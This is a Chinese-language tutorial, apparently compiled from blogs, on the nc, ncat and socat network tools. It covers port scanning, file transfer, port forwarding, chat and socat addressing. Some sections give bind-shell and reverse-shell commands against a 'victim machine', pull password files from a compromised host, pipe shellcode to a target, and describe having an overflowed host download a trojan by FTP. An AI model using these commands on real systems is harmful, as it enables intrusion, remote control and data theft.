欢迎各位兄弟 发布技术文章

这里的技术是共享的

You are here

Linux命令之nc命令 linux 命令:nc、netcat、ncat、socat 有大用 有大大用

Linux命令之nc命令


一、命令简介

nc是netcat的简写,是一个功能强大的网络工具,有着网络界的瑞士军刀美誉。nc命令在linux系统中实际命令是ncat,nc是软连接到ncat。nc命令的主要作用如下:

  • 实现任意TCP/UDP端口的侦听,nc可以作为server以TCP或UDP方式侦听指定端口

  • 端口的扫描,nc可以作为client发起TCP或UDP连接

  • 机器之间传输文件

  • 机器之间网络测速
      
      nc如果找不到nc命令可以使用yum install -y nc安装。

二、使用示例

1、验证服务器端口是否通
如下验证172.16.7.78服务器的80端口通,81端口不通。
在这里插入图片描述

2、拷贝文件
首先在文件接收终端test2机器上激活nc监听
在这里插入图片描述

然后在文件发送终端test1机器上发送文件
在这里插入图片描述
在test2上检查文件是否已成功接收

在这里插入图片描述

3、终端之间通信聊天

test1主机上启动nc监听,ctrl+C中断通信。

在这里插入图片描述

test2上连接监听,ctrl+C中断通信。
在这里插入图片描述

4、端口扫描

端口扫描,通的端口返回succeeded,不通的端口返回refused。此扫描基于nc-1.84-24.el6.x86_64。

[root@test1 /]# nc -v -w 1 172.16.7.78 -z 22-81
Connection to 172.16.7.78 22 port [tcp/ssh] succeeded!
nc: connect to 172.16.7.78 port 23 (tcp) failed: Connection refused
nc: connect to 172.16.7.78 port 24 (tcp) failed: Connection refused
nc: connect to 172.16.7.78 port 25 (tcp) failed: Connection refused
nc: connect to 172.16.7.78 port 26 (tcp) failed: Connection refused
nc: connect to 172.16.7.78 port 27 (tcp) failed: Connection refused
nc: connect to 172.16.7.78 port 28 (tcp) failed: Connection refused
nc: connect to 172.16.7.78 port 29 (tcp) failed: Connection refused
nc: connect to 172.16.7.78 port 30 (tcp) failed: Connection refused
nc: connect to 172.16.7.78 port 31 (tcp) failed: Connection refused
nc: connect to 172.16.7.78 port 32 (tcp) failed: Connection refused
nc: connect to 172.16.7.78 port 33 (tcp) failed: Connection refused
nc: connect to 172.16.7.78 port 34 (tcp) failed: Connection refused
nc: connect to 172.16.7.78 port 35 (tcp) failed: Connection refused
nc: connect to 172.16.7.78 port 36 (tcp) failed: Connection refused
nc: connect to 172.16.7.78 port 37 (tcp) failed: Connection refused
nc: connect to 172.16.7.78 port 38 (tcp) failed: Connection refused
nc: connect to 172.16.7.78 port 39 (tcp) failed: Connection refused
nc: connect to 172.16.7.78 port 40 (tcp) failed: Connection refused
nc: connect to 172.16.7.78 port 41 (tcp) failed: Connection refused
nc: connect to 172.16.7.78 port 42 (tcp) failed: Connection refused
nc: connect to 172.16.7.78 port 43 (tcp) failed: Connection refused
nc: connect to 172.16.7.78 port 44 (tcp) failed: Connection refused
nc: connect to 172.16.7.78 port 45 (tcp) failed: Connection refused
nc: connect to 172.16.7.78 port 46 (tcp) failed: Connection refused
nc: connect to 172.16.7.78 port 47 (tcp) failed: Connection refused
nc: connect to 172.16.7.78 port 48 (tcp) failed: Connection refused
nc: connect to 172.16.7.78 port 49 (tcp) failed: Connection refused
nc: connect to 172.16.7.78 port 50 (tcp) failed: Connection refused
nc: connect to 172.16.7.78 port 51 (tcp) failed: Connection refused
nc: connect to 172.16.7.78 port 52 (tcp) failed: Connection refused
nc: connect to 172.16.7.78 port 53 (tcp) failed: Connection refused
nc: connect to 172.16.7.78 port 54 (tcp) failed: Connection refused
nc: connect to 172.16.7.78 port 55 (tcp) failed: Connection refused
nc: connect to 172.16.7.78 port 56 (tcp) failed: Connection refused
nc: connect to 172.16.7.78 port 57 (tcp) failed: Connection refused
nc: connect to 172.16.7.78 port 58 (tcp) failed: Connection refused
nc: connect to 172.16.7.78 port 59 (tcp) failed: Connection refused
nc: connect to 172.16.7.78 port 60 (tcp) failed: Connection refused
nc: connect to 172.16.7.78 port 61 (tcp) failed: Connection refused
nc: connect to 172.16.7.78 port 62 (tcp) failed: Connection refused
nc: connect to 172.16.7.78 port 63 (tcp) failed: Connection refused
nc: connect to 172.16.7.78 port 64 (tcp) failed: Connection refused
nc: connect to 172.16.7.78 port 65 (tcp) failed: Connection refused
nc: connect to 172.16.7.78 port 66 (tcp) failed: Connection refused
nc: connect to 172.16.7.78 port 67 (tcp) failed: Connection refused
nc: connect to 172.16.7.78 port 68 (tcp) failed: Connection refused
nc: connect to 172.16.7.78 port 69 (tcp) failed: Connection refused
nc: connect to 172.16.7.78 port 70 (tcp) failed: Connection refused
nc: connect to 172.16.7.78 port 71 (tcp) failed: Connection refused
nc: connect to 172.16.7.78 port 72 (tcp) failed: Connection refused
nc: connect to 172.16.7.78 port 73 (tcp) failed: Connection refused
nc: connect to 172.16.7.78 port 74 (tcp) failed: Connection refused
nc: connect to 172.16.7.78 port 75 (tcp) failed: Connection refused
nc: connect to 172.16.7.78 port 76 (tcp) failed: Connection refused
nc: connect to 172.16.7.78 port 77 (tcp) failed: Connection refused
nc: connect to 172.16.7.78 port 78 (tcp) failed: Connection refused
nc: connect to 172.16.7.78 port 79 (tcp) failed: Connection refused
Connection to 172.16.7.78 80 port [tcp/http] succeeded!
nc: connect to 172.16.7.78 port 81 (tcp) failed: Connection refused

5、验证UDP端口

[root@test1 ~]# nc -uvz 192.168.0.125 111
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Connected to 192.168.0.125:111.
Ncat: UDP packet sent successfully
Ncat: 1 bytes sent, 0 bytes received in 2.04 seconds.
               

参考 :http://www.linuxso.com/command/nc.html

NC工具的使用说明教程:https://blog.csdn.net/xysoul/article/details/52270149

window 版本 nc 下载:https://eternallybored.org/misc/netcat/



来自  https://blog.csdn.net/mr_wanter/article/details/125076995



linux 命令:nc、netcat、ncat、socat

1、nc、ncat 简介


NC 全名 Netcat (网络刀),作者是 Hobbit && ChrisWysopal。因其功能十分强大,体积小巧而出名,被誉为网络安全界的 "瑞士军刀"。Netcat 使用 TCP 或 UDP 协议的网络连接去读写数据。Netcat 也是稳定的后门工具、功能强大的网络调试和探测工具。能够直接由其它程序和脚本轻松驱动。能够建立几乎所有类型的网络连接。

在中国 NC 的 WINDOWS版有两个版本,一个是原创者Chris Wysopal写的原版本,另一个是由 "红与黑" 编译后的新浓缩版。浓缩版的主程序只有10多KB(10多KB的NC是不能完成下面第4、第5种使用方法 ),虽然 "体积" 小,但很完成很多工作。

  • nc nc 常用于溢出、反向链接、上传文本等。其实是一个非标准的 telnet 客户端程序。也是一个 putty.exe 客户端程序。

  • ncat :是现代版的 netcat,是 nmap 项目的组成部分。

  • socat socat 是一个 nc 的替代品,可以称为 nc++是 netcat 的 N 倍 加强版。socat 支持的连接方式很多,有 ip、tcp、udp、ipv6、pipe、exec、system、open proxy、openssl 等

nc  --- TCP/IP swiss army knife

linux 下执行命令:readlink -f $(which nc)  结果会有两种:

  • /bin/nc.traditional:默认 GNU 基础版本,一般系统自带。

  • /bin/nc.openbsd:openbsd 版本,强大很多。

都可以用 apt-get install nc-traditional 或者 apt-get install nc-openbsd 来选择安装。不管是 gnu 版本还是 openbsd 版本,都有新老的区别,主要是传送文件时 stdin 发生 EOF 了,老版本会自动断开,而新的 gnu/openbsd 还会一直连着。



2、nc、ncat 命令


Netcat 最初的用途就是文件传输,它可以像 cat 命令一样将读取的文件重定向到网络上的另外的文件。Netcat 在网络应用中既可以当做服务器端,开启本机一个监听端口,也可以作为客户端向其他服务器端口发起连接。所以,文件传输,即是在两端分别运行Netcat。


2.1 nc、ncat 参数


主动发起连接 的 使用方法:nc [-options] hostname port[s] [ports] ... 
监听进入的连接 的 使用方法:nc -l -p port [-options] [hostname] [port]


linux 下 nc 参数

type nc
nc -h

options:
        -c shell commands       同 -e 参数,连接成功后使用/bin/sh执行shell命令。[危险!!]
        -e filename             连接成功后要执行的程序或者命令 [危险!!]
        -b                      允许广播
        -g gateway              source-routing hop point[s], up to 8
        -G num                  source-routing pointer: 4, 8, 12, ...
        -h                      帮助
        -i secs                 为 "传送信息、扫描端口" 设置时间间隔。
        -k                      设置 socket 的 keepalive 选项
        -l                      监听模式,监听进入的连接。
        -n                      指定数字的IP地址,不能用 hostname
        -o file                 把往来传输的数据以16进制形式保存到文件。
        -p port                 设置本地端口号
        -r                      随机本地和远程端口
        -q secs                 在标准输入 EOF 后,延迟多少秒后并退出
        -s addr                 设置 本地 IP 地址
        -T tos                  设置服务类型
        -t                      用 telnet 来回应 
        -u                      UDP 模式
        -v 或者 -vv             显示详细
        -w secs                 设置网络连接超时时间
        -C                      发送 CRLF 作为行尾
        -z                      零 I/O 模式 [用于扫描],就是将输入输出关掉。
端口号可以是单个端口或者是范围。例如 80,1-100
连字符出现在端口名称中,必须用反斜杠转义(例如 "ftp\-data")

windows 下 nc 参数

windows下nc 和 linux下nc 参数不太一样

D:\Software\netcat_win> ./nc -h
[v1.12 NT http://eternallybored.org/misc/netcat/]
options:
        -d                从 console 分离,即 后台模式 。

        -e prog         程序重定向,一旦连接,就执行 [危险!!] 
        -g gateway      source-routing hop point[s], up to 8
        -G num          source-routing pointer: 4, 8, 12, ...
        -h             帮助信息 
        -i secs         delay interval for lines sent, ports scanned
        -l               监听模式,用于入站连接 
        -L              连接关闭后,仍然继续监听 
        -n              指定数字的IP地址,不能用hostname 
        -o file         流量以16进制的形式保存到文件
        -p port         本地端口号
        -r                 随机本地及远程端口 
        -s addr         本地源地址 
        -t              用 telnet 来回应 
        -c              发送 CRLF 代替 LF
        -u              UDP 模式 
        -v              详细输出, -vv 可得到更详细的内容
        -w secs         连接和网络读取的超时时间
        -z              将输入输出关掉。用于扫描
端口号可以是 单个端口或者是范围 m-n。例如 80,1-100
D:\Software\netcat_win>


2.2 基本用法

nc -nvv 192.168.x.x 80    // 连到 192.168.x.x 的 TCP 80 端口
nc -l -p 80               // 监听本机的TCP80端口
nc -nvv -w2 -z 192.168.x.x 80-445    // 扫描192.168.x.x 的 TCP 80 到 TCP 445 的所有端口

nc -l -p 9999 -e cmd.exe
nc 192.168.1.5 9999

或者

nc -l -p 9999 -t
nc -t -e cmd.exe 192.168.1.5

绑定 shell

命令:nc -l -p 5354 -t -e c:\windows\system32\cmd.exe    

命令解释:本地监听 5354 端口,当有连接进入时,将 -e 指定的 c:\windows\system32\cmd.exe ( 就是个shell ) 主动响应 到 连接者。连接者 就可以进入被连接者的 cmd。( 反弹 shell 原理 )

绑定 shell 并反向连接

命令:nc -t -e c:\windows\system32\cmd.exe 192.168.x.x 5354

命令解释:连接到远程服务器的 5354 端口,连接成功后 将 -e c:\windows\system32\cmd.exe 响应给远程服务器。这样 远程服务器就进入连接者的 cmd

NC 的用法还有很多,当配合管道命令 | 与重定向命令 < > 等等命令功能更强大。


2.3 高级用法

作攻击程序用,例子:

格式 1:type.exe c:exploit.txt | nc -nvv 192.168.x.x 80
格式 2:nc -nvv 192.168.x.x 80 < c:exploit.txt
讲解:连接到192.168.x.x的80端口,并在其管道中发送 c:exploit.txt 的内容。

两种格式效果一样。c:exploit.txt 为 shellcode 等

作蜜罐用 [1],例子:

格式:nc -L -p 80
讲解:使用 -L( 注意 L 是大写 ) 可以不停地监听某一个端口,直到 ctrl+c 为止。

作蜜罐用 [2],例子:

格式:nc -L -p 80 > c:\log.txt
讲解:使用 -L 可以不停地监听某一个端口,直到 ctrl+c为 止,同时把结果输出到 c:log.txt中,如果把 > 改为 >> 即可以追加日志。c:\log.txt 为日志等

作蜜罐用 [3],例子:

格式1:nc -L -p 80 < c:\honeypot.txt
格式2:type.exe c:honeypot.txt|nc -L -p 80
讲解:使用 -L 可以不停地监听某一个端口,直到 ctrl+c为 止,同时把 c:honeypot.txt 的内容送入其管道中。

记录 log

nc -l -p 80 >>c:\日志.log     //凡是有针对本机80端口的攻击都会被记录下来的


端口扫描

// 注意:nc 扫描会留下大量的痕迹。

格式:nc -vv -z ip port-port port     // 示例:nc -v -w 2 www.baidu.com -z 100-105 80
nc -v -z 192.168.0.25 1-100       // 端口扫描,扫描 tcp 端口 1-100
nc -v -z -u 192.168.0.25 1-100    // 端口扫描,扫描 udp 端口 1-100
nc -vv 192.168.0.25 80            // 端口扫描,扫描 tcp 端口 80

nc -v -z www.baidu.com 70-80      # 扫描端口(70到80)
nc -v -z -w 2 192.168.2.34 21-24        
nc -v -z -w2 127.0.0.1 1-100      # -w2 设置超时时间
nc -l -p 1234                # 监听本地端口
netstat -a | grep 1234
netstat -tunlp
nc -vuz  172.16.211.34 68
nc -p 1234 -w 5 www.test.com 80  // 建立从本地1234端口到 www.test.com 的80端口连接,5秒超时
nc -u host.example.com 53    // u 为 UDP 连接


端口转发(PortForwarding)

端口转发 也是 Netcat 比较实用的用法。
先将Netcat作为服务器接收其他主机的连接,然后将连接的数据转发另外的目标机端口。
比如:
mkfifo backpipe
nc -l 12345  0<backpipe | nc www.google.com 801>backpipe
这里开启端口12345,作为www.google.com的代理。
其他无法直接登陆google的用户可以通过此代理端口来与google进行交互。
创建了一个fifo,是为实现双向数据通讯,因为管道运算符本身是单向的。


后门

受害者的机器执行命令:
        nc -l -p port -e cmd.exe  // win2000 
        nc -l -p port -e /bin/sh  // unix,linux 
攻击者的机器执行命令:
        nc ip -p port             // 连接 受害者机器IP,然后得到一个shell。


正向连接

【远程运行】nc -l -p 2012 -t -e cmd.exe
【本地运行】nc -nvv 192.168.1.101 2012

  • 远程主机(注:假设IP地址为 192.168.1.101)上运行 nc -l -p 2012 -t -e cmd.exe 意为绑定远程主机的 CMD 到 2012 端口,当本地主机连接远程主机成功时就会返回给本地主机一个CMD Shell ;

  • 在本地主机上运行 nc -nvv 192.168.1.101 2012 用于连接已经将 CMD 重定向到 2012 端口的远程主机(注:假设IP地址为 192.168.1.101)。


反向连接 

【本地运行】nc -l -p 2012
【远程运行】nc -t -e cmd.exe 192.168.1.102 2012

  • 先在本地主机运行 nc -l -p 2012 开启本地主机的(注:假设IP地址为 192.168.1.102)2012 端口并监听等待远程主机连接;

  • 再在远程主机上运行 nc -t -e cmd.exe 192.168.1.102 2012 将远程主机的 CMD 重定向到 IP 地址为 192.168.1.102 端口号为 2012 的主机上,连接成功后 IP 地址为 192.168.1.102 的主机会得到一个CMD Shell。

什么叫反弹端口?
就是说,当对方中马后,不用你主动和对方连接,也就是说不用从你的client端向对方主机上运行的server端发送请求连接,
而是对方主动来连接你这样就可以使很多防火墙失效,因为很多防火墙都不检查出站请求的。
这里这两个命令结合在一起后,于那两款木马可以说有异曲同工之效。

本地运行:nc -l -p 5277 (监听本地5277端口)或者 nc -l -v -p 5277
然后在远程机器上,想办法运行 nc -e cmd.exe ip 5277
(你可别真的打“ip”在肉鸡上啊)要打,xxx.xxx.xxx.xxx这样!!
这样就是反弹~~在本地机器上得到了一个SHELL

示例:

attacker machine:      //一般是sql2.exe,远程溢出,webdavx3.exe攻击. 
//或者wollf的反向连接. 
nc -vv -l -p port 
victim machine: 
nc -e cmd.exe attacker ip -p port 
nc -e /bin/sh attacker ip -p port
或者:
attacker machine: 
nc -vv -l -p port1  
nc -vv -l -p prot2  
victim machine: 
nc attacker_ip port1 | cmd.exe | nc attacker_ip port2 
nc attacker_ip port1 | /bin/sh | nc attacker_ip port2
139要加参数-s(nc.exe -L -p 139 -d -e cmd.exe -s 对方机器IP),这样就可以保证 nc.exe 优先于NETBIOS。


端口数据抓包

就是使用 -o 参数,把数据以 16进制 的形式写到文件里面

示例:nc -vv -w 2 -o ./packet.txt www.baidu.com 80 21-15    


远程 拷贝 文件

从 server1 拷贝文件到 server2 上

先在 server2 上,用 nc 激活监听,server2上运行:
[root@hatest2 tmp]# nc -lp 1234 > install.log    

然后,再在 server1 上运行:
[root@hatest1 ~]# nc -w 1 192.168.228.222 1234 < install.log    

传送文件:
attacker machine <-- victim machine      // 从肉鸡拖密码文件回来. 
nc -d -l -p port < path\filedest      // 可以shell执行 
nc -vv attacker_ip port > path\file.txt  // 需要Ctrl+C退出 

//肉鸡需要gui界面的cmd.exe里面执行(终端登陆,不如安装FTP方便).
//否则没有办法输入Crl+C.
attacker machine --> victim machine      // 上传命令文件到肉鸡 
nc -vv -l -p port > path\file.txt     // 需要Ctrl+C退出 
nc -d victim_ip port < path\filedest    // 可以shell执行 

示例:

【本地运行】nc -v -n ip port < C:/sunzn.exe
【远程运行】nc -v -l -p port > D:/sunzn.exe

  • 在本地运行 nc -v -n ip port < C:/sunzn.exe 意为从本地 C 盘根目录中读取 sunzn.exe 文件的内容,并把这些数据发送到远程主机的对应端口上(注:命令行中的 IP 为接收文件的远程主机 IP ),

  • 在远程主机运行 nc -v -l -p port > D:/sunzn.exe 意为监听对应端口并把接收到的信息数据写到 D:/sunzn.exe 中,两行命令实现了文件在本地主机和远程主机间的传输。


ftp 自动下载

【本地运行】nc -L -p 8989 < C:\ftp.txt ( ftp.txt 中为FTP自动下载命令)
不停地监听 8989 端口,并把 C:\ftp.txt  中的内容发给任何一台连接本机 8989 端口的主机,可起到传送文件作用( 此用法经常用于反向溢出 )。远程主机一旦溢出就会连接本地主机 8989 端口,远程主机就会自动用 FTP 下载指定的文件,如木马。


远程 拷贝 目录

从 server1 拷贝 nginx-0.6.34目录内容到 server2 上。

方法 1:

        先在server2上,用nc激活监听,server2上运行:
        [root@hatest2 tmp]# nc -l 1234 | tar xzvf -        
        server1上运行:
        [root@hatest1 ~]# tar -zcvf - nginx-0.6.34 | nc 192.168.228.222 1234

方法 2:
        从192.168.2.33拷贝文件到192.168.2.34
        在192.168.2.34上: nc -l 1234 > test.txt
        在192.168.2.33上: nc 192.168.2.34 < test.txt


克隆硬盘或分区

操作与上面的拷贝是雷同的,只需要由dd获得硬盘或分区的数据,然后传输即可。克隆硬盘或分区的操作,不应在已经 mount 的的系统上进行。所以,需要使用安装光盘引导后,进入拯救模式(或使用Knoppix工具光盘)启动系统后,

server2上进行类似的监听动作:
# nc -l -p 1234 | dd of=/dev/sda
server1上执行传输,即可完成从server1克隆sda硬盘到server2的任务:
# dd if=/dev/sda | nc 192.168.228.222 1234


简单聊天工具

在192.168.2.34上: nc -l 1234
在192.168.2.33上: nc 192.168.2.34 1234
这样,双方就可以相互交流了。使用ctrl+C(或D)退出。

nc -l 1234
nc 127.0.0.1 1234
在端口1234建立连接,互相发送输入


保存 Web 页面

# while true; do nc -l -p 80 -q 1 < somepage.html; done


模拟 HTTP 请求

nc www.baidu.com 80  // 作为浏览器,模拟请求
nc -l -v -p 80       // 浏览器中输入本机IP:127.0.0.1

例如:


用 nc 命令操作 memcached

1)存储数据:printf "set key 0 10 6rnresultrn" |nc 192.168.2.34 11211
2)获取数据:printf "get keyrn" |nc 192.168.2.34 11211
3)删除数据:printf "delete keyrn" |nc 192.168.2.34 11211
4)查看状态:printf "statsrn" |nc 192.168.2.34 11211
5)模拟top命令查看状态:watch "echo stats" |nc 192.168.2.34 11211
6)清空缓存:printf "flush_allrn" |nc 192.168.2.34 11211 (小心操作,清空了缓存就没了)


Netcat 其他常用的功能:

支持完全的DNS转发、逆向检查
支持用户指定源端口
支持用户指定源端IP地址
内置宽松源路由能力(loosesource-routing capability)
慢速发送模式,可指定每隔多少秒发送一行文本
将发送或接收数据以16进制格式导出



3、ncat 命令


Ncat 是 nmap 项目对传统的 Netcat(即 nc 命令)的重写,是包含在 nmap 安装包里的。


3.1 ncat 的 参数

ncat -h
Ncat 7.92 (https://nmap.org/ncat)
用法:ncat [选项] [主机名] [端口]

花费时间的选项假定为几秒钟。附加“ms”毫秒,
's' 代表秒,'m' 代表分钟,或 'h' 代表小时(例如 500 毫秒)。
  -4                         仅使用 IPv4
  -6                         仅使用 IPv6
  -U, --unixsock             仅使用 Unix 域套接字
      --vsock                仅使用 vsock 套接字
  -C, --crlf                 对 EOL 序列使用 CRLF
  -c, --sh-exec <command>    通过 /bin/sh 执行给定的命令
  -e, --exec <command>       执行给定的命令
      --lua-exec <filename>  执行给定的 Lua 脚本
  -g hop1[,hop2,...]         松散源路由跳点(最多 8 个)
  -G <n>                     松散源路由跳点指针 (4, 8, 12, ...)
  -m, --max-conns <n>        最大 <n> 个同时连接数
  -h, --help                 显示屏幕
  -d, --delay <时间>         读/写 等待时间
  -o, --output <filename>    转储会话数据到文件
  -x, --hex-dump <filename>  会话数据以16进制形式转储到文件
  -i, --idle-timeout <time>  空闲 读/写 超时
  -p, --source-port port     指定要使用的源端口
  -s, --source addr          指定要使用的源地址(不影响-l)
  -l, --listen               绑定并监听传入的连接
  -k, --keep-open            在监听模式下接受多个连接
  -n, --nodns                不通过 DNS 解析主机名
  -t, --telnet               通过 Telnet 回答协商
  -u, --udp                  使用 UDP 而不是默认的 TCP
      --sctp                 使用 SCTP 代替默认 TCP
  -v, --verbose              设置详细程度(可多次使用)
  -w, --wait <时间>          连接超时
  -z                         零 I/O 模式,仅报告连接状态
      --append-output    追加到输出文件
      --send-only        只发送数据,忽略接收;在 EOF 上退出
      --recv-only        只接收数据,不发送任何东西
      --no-shutdown      在标准输入上接收 EOF 时继续半双工
      --allow            只允许给定的主机连接到 Ncat
      --allowfile        允许连接到 Ncat 的主机文件
      --deny             拒绝给定主机连接到 Ncat
      --denyfile         拒绝连接到 Ncat 的主机文件
      --broker           启用 Ncat 的连接代理模式
      --chat             启动一个简单的 Ncat 聊天服务器
      --proxy <addr[:port]>  指定要代理的主机地址
      --proxy-type <type>    指定代理类型(“http”、“socks4”、“socks5”)
      --proxy-auth <auth>    使用 HTTP 或 SOCKS 代理服务器进行身份验证
      --proxy-dns <type>     指定解析代理目的地的位置
      --ssl                  使用 SSL 连接或监听
      --ssl-cert             指定用于监听的 SSL 证书文件 (PEM)
      --ssl-key              指定用于监听的 SSL 私钥 (PEM)
      --ssl-verify           验证证书的信任和域名
      --ssl-trustfile        包含可信 SSL 证书的 PEM 文件
      --ssl-ciphers          包含要使用的 SSL 密码的密码列表
      --ssl-servername       请求不同的服务器名称 (SNI)
      --ssl-alpn             使用的 ALPN 协议列表
      --version              显示Ncat的版本信息并退出

有关完整的选项、描述和使用示例,请参见 ncat(1) 联机帮助页


3.2 ncat 的 使用


Ncat 作为浏览器

命令示例:ncat -C scanme.nmap.org 80

该命令是以 交互的方式 执行的。即输入 ncat -C scanme.nmap.org 80 和 回车 后,接着继续输入 GET / HTTP/1.0 ,再敲击两次 回车 。即可获取目标网站的 HTML 文档内容。


监听模式( 模拟 web 服务器 )

使用 ncat 运行带有静态页面的 Web 服务器。vim /root/sample.html

<html>
        <head>
                <title>Test Page</title>
        </head>
        <body>
                <h1>Level 1 header</h1>
                <h2>Subheading</h2>
                <p>Normal text here</p>
        </body>
</html>


执行命令:[root@qdzabbix ~]# while true; do nc -l -p 8080 < /root/sample.html ; done

最后浏览器访问 http://127.0.0.1:8080/sample.html


执行命令(远程 shell)

 命令示例:ncat -l 8080 --exec "/bin/echo Hello."

可以开启一个远程 shell 供其他设备连接。命令:ncat -l 8022 --exec "/bin/bash -i"


通过 nc 进行端口转发。

命令:ncat -u -l  80 -c  'ncat -u -l 8080'


访问控制

只允许指定客户端连接:ncat -l --allow 10.2.67.204
只拒绝指定客户端连接:ncat -l --deny 10.2.67.204
只允许指定网段的本地 IP:

  • ncat -l --allow 10.2.67.0/24

  • ncat -l --allow 10.2.67.0-255

从文件中获取允许访问的地址列表:ncat -l --allowfile trusted_hosts.txt
设置最大连接数为5:ncat -l --max-conns 5    


文件传输

接收者监听:
        receiver$ ncat -l > outputfile
        sender$ ncat --send-only receiver_ip < inputfile
发送者监听:
        sender$ ncat -l --send-only < inputfile
        receiver$ ncat sender_ip > outputfile


传输目录

接收者:ncat -l | tar xzvf -
发送者:tar czvf - dirname | ncat --send-only receiver_ip


传输磁盘镜像(压缩)

接收者:ncat -l | bzip2 -d > sender-hda.image
发送者:cat /dev/hda | bzip2 | ncat --send-only receiver_ip


聊天

双人聊天
        host1$ ncat -l
        host2$ ncat host1
多人聊天
        server$ ncat -l --chat
        clients$ ncat server_ip


简易 web 服务器

Linux 用户:ncat -lk -p 8080 --sh-exec "echo -e 'HTTP/1.1 200 OK\r\n'; cat index.html"
Windows 用户:ncat -lk -p 8080 --sh-exec "echo HTTP/1.1 200 OK& echo(&type index.html"


流媒体视频

服务端:cat video.avi | ncat -l
客户端:ncat server_ip | mplayer -vo x11 -cache 3000 -



4、socat 命令


Socat 官方网站:http://www.dest-unreach.org/socat/

From:https://zhuanlan.zhihu.com/p/347722248


socat 基本语法:socat [options] <address> <address>

socat 主要作用 就是把两个地址的数据流串起来,把左边地址的输出数据传给右边,同时又把右边地址的输出数据传到左边。所以 socat 需要两个地址,其中这 2 个 address 是关键,address 类似于一个文件描述符,Socat 所做的工作就是在 2 个 address 指定的描述符间建立一个 pipe 用于发送和接收数据。这 2 个 address 可以任意发挥,能够做到的事情还有很多。

使用 socat 需要提供两个地址,常用的 address 描述方式如下:

  • -,STDIN,STDOUT  :表示 标准输入、标准输出,可以只用减号 - 代替

  • /var/log/syslog :打开一个文件作为数据流,可以是任意路径。

  • TCP:: 建立一个 TCP 连接作为数据流,TCP 也可以替换为 UDP 。

  • TCP-LISTEN:建立 一个 TCP 监听端口,TCP 也可以替换为 UDP。

  • EXEC:执行一个程序作为数据流。

socat 还支持:TCP, TCP-LISTEN, UDP, UDP-LISTEN, OPEN, EXEC, SOCKS, PROXY 等多种地址,用于端口监听、链接,文件和进程读写,代理桥接等等。所以使用 socat 其实就是学习各类地址的定义及搭配方法。以上规则中前面的 TCP 等都可以小写,在这些描述后可以附加一些选项,用逗号隔开。如 fork,reuseaddr,stdin,stdout,ctty 等。

最简单示例:命令:socat - -    

说明:两个地址都是减号 "-",就是把 "标准输入输出" 和 "标准输入输出" 对接,输入什么就会显示什么。即在键盘上敲什么,屏幕上就显示什么,类似无参数的 cat 命令。


socat 的参数

参考:www.dest-unreach.org
用法:
socat [选项] <双向地址> <双向地址>
   选项:
      -V        版本信息
      -h|-?     帮助
      -hh       与 -h 类似。更加详细的帮助。加上所有常用地址选项名称
      -hhh      与 -hh类似。更加详细的帮助。加上所有可用地址选项名称
      -d[ddd]   增加详细程度(最多使用 4 次;建议使用 2 次)
      -D        在循环之前分析文件描述符
      -ly[facility]   使用设施(默认为守护进程)记录到系统日志
      -lf<logfile>    记录到文件
      -ls             记录到标准错误(如果没有其他日志,则默认)
      -lm[facility]   混合日志模式(初始化期间的stderr,然后是syslog)
      -lp<progname>   设置用于记录的程序名称
      -lu             使用微秒记录时间戳
      -lh             将主机名添加到日志消息中
      -v              把数据流量转储为文本文件
      -x              把数据流量转储为16进制文件
      -r <file>       转储 从左到右 流动的原始数据
      -R <file>       转储 从右到左 流动的原始数据
      -b<size_t>      设置数据缓冲区大小 (8192)
      -s              马虎模式。即出现错误时继续。
      -t<timeout>     在关闭第二个通道之前等待几秒钟
      -T<timeout>     再多少秒不活动时,设置超时
      -u              单向模式(从左到右)
      -U              单向模式(从右到左)
      -g              不检查选项组
      -L <lockfile>   尝试获取锁,否则失败
      -W <lockfile>   尝试获取锁,或者等待
      -4              如果没有明确指定版本,则首选 IPv4
      -6              如果没有明确指定版本,则首选 IPv6
   双向地址:   
      pipe[,<opts>]     groups=FD,FIFO
      <single-address>!!<single-address>
      <single-address>
   单向地址:
      <address-head>[,<opts>]
   address-head:
      abstract-client:<filename>        groups=FD,SOCKET,RETRY,UNIX
      abstract-connect:<filename>       groups=FD,SOCKET,RETRY,UNIX
      abstract-listen:<filename>        groups=FD,SOCKET,LISTEN,CHILD,RETRY,UNIX
      abstract-recv:<filename>  groups=FD,SOCKET,RETRY,UNIX
      abstract-recvfrom:<filename>      groups=FD,SOCKET,CHILD,RETRY,UNIX
      abstract-sendto:<filename>        groups=FD,SOCKET,RETRY,UNIX
      create:<filename> groups=FD,REG,NAMED
      exec:<command-line>       groups=FD,FIFO,SOCKET,EXEC,FORK,TERMIOS,PTY,PARENT,UNIX
      fd:<num>  groups=FD,FIFO,CHR,BLK,REG,SOCKET,TERMIOS,UNIX,IP4,IP6,UDP,TCP,SCTP
      gopen:<filename>  groups=FD,FIFO,CHR,BLK,REG,SOCKET,NAMED,OPEN,TERMIOS,UNIX
      interface:<interface>     groups=FD,SOCKET
      ip-datagram:<host>:<protocol>     groups=FD,SOCKET,RANGE,IP4,IP6
      ip-recv:<protocol>        groups=FD,SOCKET,RANGE,IP4,IP6
      ip-recvfrom:<protocol>    groups=FD,SOCKET,CHILD,RANGE,IP4,IP6
      ip-sendto:<host>:<protocol>       groups=FD,SOCKET,IP4,IP6
      ip4-datagram:<host>:<protocol>    groups=FD,SOCKET,RANGE,IP4
      ip4-recv:<protocol>       groups=FD,SOCKET,RANGE,IP4
      ip4-recvfrom:<protocol>   groups=FD,SOCKET,CHILD,RANGE,IP4
      ip4-sendto:<host>:<protocol>      groups=FD,SOCKET,IP4
      ip6-datagram:<host>:<protocol>    groups=FD,SOCKET,RANGE,IP6
      ip6-recv:<protocol>       groups=FD,SOCKET,RANGE,IP6
      ip6-recvfrom:<protocol>   groups=FD,SOCKET,CHILD,RANGE,IP6
      ip6-sendto:<host>:<protocol>      groups=FD,SOCKET,IP6
      open:<filename>   groups=FD,FIFO,CHR,BLK,REG,NAMED,OPEN,TERMIOS
      openssl:<host>:<port>     groups=FD,SOCKET,CHILD,RETRY,IP4,IP6,TCP,OPENSSL
      openssl-dtls-client:<host>:<port> groups=FD,SOCKET,CHILD,RETRY,IP4,IP6,UDP,OPENSSL
      openssl-dtls-server:<port>        groups=FD,SOCKET,LISTEN,CHILD,RETRY,RANGE,IP4,IP6,UDP,OPENSSL
      openssl-listen:<port>     groups=FD,SOCKET,LISTEN,CHILD,RETRY,RANGE,IP4,IP6,TCP,OPENSSL
      pipe:<filename>   groups=FD,FIFO,NAMED,OPEN
      proxy:<proxy-server>:<host>:<port>        groups=FD,SOCKET,CHILD,RETRY,IP4,IP6,TCP,HTTP
